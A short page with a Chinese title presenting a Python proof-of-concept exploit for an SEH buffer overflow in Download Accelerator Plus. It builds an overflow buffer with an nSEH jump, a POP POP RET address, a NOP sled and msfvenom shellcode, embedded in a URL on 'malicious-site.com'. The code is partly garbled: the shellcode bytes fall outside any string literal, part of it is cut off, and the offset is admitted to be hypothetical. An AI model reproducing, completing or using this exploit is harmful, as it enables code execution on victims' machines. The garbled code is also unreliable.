CVE-2019-25628 Download Accelerator Plus SEH缓冲区溢出漏洞

#!/usr/bin/env python # -*- coding: utf-8 -*- """ PoC for CVE-2019-25628 - Download Accelerator Plus SEH Buffer Overflow This script generates a malicious URL string designed to trigger the SEH overwrite. Note: Offsets may need adjustment based on specific environment debugging. """ import sys # Payload generation def generate_payload(): # 1. Junk data to fill the buffer up to the SEH handler # Offset value is hypothetical, requires debugging to determine exact offset offset = 1024 junk = b"A" * offset # 2. SEH overwrite structure # nseh: Short jump to skip the seh address and land on shellcode (\xeb\x06\x90\x90) nseh = b"\xeb\x06\x90\x90" # seh: Address of POP POP RET instruction (Universal or specific to DLL) # Example: 0x10020107 (from a non-ASLR module) seh = b"\x07\x01\x02\x10" # 3. Shellcode (Example: Calc.exe payload) # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python shellcode = b"" \x31\xc9\xba\x9c\xb9\x34\x73\xd9\xcd\xd9\x74\x24\xf4\x5e\x31\x56\x13 \x03\x56\x13\x83\xee\xfc\xe2\xe4\x9e\xc4\x9a\x5b\x6b\x95\x39\x9a\x3b\x64 \x58\x21\x9a\x82\x3b\x71\x7c\x18\xc7\x48\xda\x92\x60\x90\x44\x6f\x89 [Truncated for brevity] """ # Filling remaining space with NOPs for better reliability nops = b"\x90" * 100 payload = junk + nseh + seh + nops + shellcode return payload if __name__ == "__main__": print("[+] Generating malicious URL payload for CVE-2019-25628...") payload = generate_payload() malicious_url = b"http://malicious-site.com/exploit?" + payload print(f"[+] Payload length: {len(malicious_url)}") print("[+] Malicious URL generated (Use responsibly):") print(malicious_url.decode('latin1'))